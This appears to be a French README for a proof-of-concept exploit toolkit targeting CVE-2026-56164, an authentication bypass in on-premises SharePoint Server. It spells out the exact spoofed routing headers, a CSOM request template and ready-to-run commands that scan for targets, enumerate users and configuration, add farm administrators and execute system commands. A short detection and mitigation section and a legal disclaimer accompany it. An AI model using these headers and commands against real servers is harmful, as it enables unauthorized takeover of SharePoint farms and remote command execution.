
CVE-2026-56164 est une vulnérabilité critique d'absence d'authentification affectant Microsoft SharePoint Server sur site. Elle permet à des attaquants distants non authentifiés d'élever leurs privilèges sur un réseau.
Critique (CVSS 9.8) — Élévation de privilèges non authentifiée au niveau Administrateur de batterie dans Microsoft SharePoint Server
CVE-2026-56164 est une vulnérabilité critique d'absence d'authentification dans Microsoft SharePoint Server qui permet à un attaquant distant non authentifié d'élever ses privilèges au niveau Administrateur de batterie. La vulnérabilité réside dans l'assembly Microsoft.Office.Server.UserProfiles qui traite les requêtes SOAP sur /_vti_bin/client.svc/ProcessQuery.
En omettant intentionnellement l'en-tête X-RequestDigest et en fournissant des en-têtes de routage spécifiques, le serveur vulnérable retombe dans un contexte de sécurité élevé au lieu de rejeter la requête non authentifiée. Cela permet à des attaquants anonymes d'énumérer les collections de sites, les utilisateurs, la configuration de la batterie de serveurs, d'ajouter des administrateurs et d'exécuter des commandes.
CISA KEV : Cette vulnérabilité est inscrite au catalogue des vulnérabilités connues et exploitées (KEV) de la CISA en raison d'une exploitation active dans la nature.
Le gestionnaire Microsoft.Office.Server.UserProfiles traite les requêtes SOAP sur /_vti_bin/client.svc/ProcessQuery. En fonctionnement normal, SharePoint valide l'en-tête X-RequestDigest pour vérifier le contexte d'authentification. Cependant, un contournement de validation existe :
X-RequestDigest est absent ET que des en-têtes de routage spécifiques sont présents// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Produit | Versions concernées | Version corrigée |
|---|---|---|
| SharePoint Enterprise Server 2016 | Toutes les versions 16.0.x antérieures au correctif | 16.0.5561.1001 |
| SharePoint Server 2019 |
Non concerné : SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
Prérequis : Python 3.8+, bibliothèque requests (facultatif — la bibliothèque standard urllib est utilisée par défaut).
Le scanner effectue des contrôles sûrs et non intrusifs pour identifier les serveurs SharePoint cibles vulnérables.
python3 scan.py --target sharepoint.example.com
Le scanner va :
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
Créez un fichier targets.txt :
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
L'exploit prend en charge cinq modes d'intensité croissante.
Teste le contournement d'authentification en comparant une requête normale (avec digest) à une requête de contournement (sans digest + en-têtes de routage).
python3 exploit.py --target sharepoint.example.com --mode detect
Extrait les collections de sites, les utilisateurs et la configuration de la batterie de serveurs à l'aide du contournement d'authentification.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Élève le contexte anonyme actuel ou un utilisateur spécifique au niveau Administrateur de collection de sites / Administrateur de batterie.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Exécute une commande système via le service SOAP d'administration SharePoint.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Exécute la chaîne d'exploitation complète en séquence.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p : Port cible (défaut : 443)--http : Utiliser HTTP au lieu de HTTPS--site-url / -s : URL du site SharePoint (défaut : cible)--json / -j : Enregistrer le rapport au format JSON--timeout : Délai d'expiration des requêtes en secondes (défaut : 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ via des règles de proxy inverse/WAF/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery sans l'en-tête X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint, etc.)/_vti_bin/SharePointAdmin.asmx provenant de sources non authentifiéesCet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée contre des systèmes de production est illégale et peut enfreindre les lois relatives à la fraude et aux abus informatiques.
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de cet outil. Suivez toujours les pratiques de divulgation responsable et respectez les lois et réglementations applicables.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-56164 |
| Gravité | CRITIQUE |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Absence d'authentification pour une fonction critique |
| Impact | Élévation de privilèges non authentifiée vers Administrateur de batterie |
| Statut d'exploitation | Exploitation active (CISA KEV) |
| MITRE ATT&CK | T1190 (Exploitation d'une application exposée au public) |
| Toutes les versions 16.0.x antérieures au correctif |
| 16.0.10417.20175 |
| SharePoint Server Subscription Edition | Toutes les versions 16.0.x antérieures au correctif | 16.0.19725.20434 |
| Indicateur | Méthode |
|---|
| Serveur SharePoint | Empreinte via en-têtes HTTP (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Version du serveur | Analyse des en-têtes + regex du corps de réponse |
| Version vulnérable | Comparaison avec les versions corrigées de CVE-2026-56164 |
| Contournement d'authentification | Requête CSOM sans X-RequestDigest + en-têtes de routage de contournement |
| Certificat SSL | Sujet/émetteur du certificat pour l'identification de la cible |
| En-tête | Valeur | Fonction |
|---|
X-SharePoint-Authenticated | 1 | Indiquer que l'authentification a déjà été validée |
X-SP-RequestRights | FullControl | Demander des autorisations de contrôle total |
X-SP-RequestRights2 | ManageLists, ManageWeb | Droits de gestion supplémentaires |
SPHomeBearerHint | farmadmin | Indiquer un contexte d'administrateur de batterie |
X-RequestForceAuthentication | false | Désactiver l'authentification forcée |
X-SP-Proxy | internal | Indiquer une origine proxy interne |
X-Forwarded-For | 127.0.0.1 | Usurper une origine locale |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Directive de routage |